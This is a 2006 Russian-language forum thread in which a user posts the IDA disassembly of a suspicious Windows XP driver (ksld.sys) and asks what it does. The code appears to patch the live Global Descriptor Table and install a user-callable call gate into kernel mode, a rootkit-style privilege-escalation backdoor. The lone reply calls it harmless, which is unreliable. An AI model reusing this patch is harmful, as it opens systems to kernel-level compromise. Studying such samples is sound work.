нашел странный драйвер (maybe spyware), что он делает?

Тема в разделе "WASM.RESEARCH", создана пользователем sh0ck, 14 авг 2006.

  1. sh0ck

    sh0ck New Member

    Публикаций:
    0
    Регистрация:
    14 авг 2006
    Сообщения:
    1
    OS: winxp sp2
    что он такое делает с глобальной дескрипторной таблицой?
    подхватил на каком-то китайском сайте...


    ;
    ; ==================================================================
    ; This file is generated by The Interactive Disassembler (IDA)
    ; ==================================================================
    ;
    ; File Name : C:\WINDOWS\system32\drivers\ksld.sys
    ; Format : Portable executable for 80386 (PE)
    ; Imagebase : 10000
    ; Section 1. (virtual address 00000200)
    ; Virtual size : 00000049 ( 73.)
    ; Section size in file : 00000060 ( 96.)
    ; Offset to raw data for section: 00000200
    ; Flags 68000020: Text Not pageable Executable Readable
    ; Alignment : default

    .686p
    .mmx
    .model flat

    ; ==================================================================

    ; Segment type: Pure code
    ; Segment permissions: Read/Execute
    _text segment para public 'CODE' use32
    assume cs:_text
    ;org 10200h
    assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing

    ; --------------- S U B R O U T I N E ---------------------------------------

    ; Attributes: bp-based frame

    public start
    start proc near

    var_2A = qword ptr -2Ah

    push ebp
    mov ebp, esp
    nop
    nop
    nop
    nop
    pushf
    pusha
    push edx
    sgdt [esp+28h+var_2A]
    pop edx
    mov eax, edx
    mov ecx, 3E0h
    mov byte ptr [edx], 0C3h
    mov [ecx+edx], ax
    shr eax, 10h
    mov [ecx+edx+6], ax
    mov dword ptr [ecx+edx+2], 0EC0003E8h
    mov dword ptr [ecx+edx+8], 0FFFFh
    mov dword ptr [ecx+edx+0Ch], 0CF9A00h
    popa
    popf
    mov eax, 0
    leave
    retn 8
    start endp

    ; ---------------------------------------------------------------------------
    align 20h
    _text ends


    end start
     
  2. Rustem

    Rustem New Member

    Публикаций:
    0
    Регистрация:
    8 мар 2004
    Сообщения:
    429
    Адрес:
    Russia
    Странно как-то, вроде ничего не делает - сохранил таблицу и модифицировал ее копию...
    Выложи сам файл. Интересно взглянуть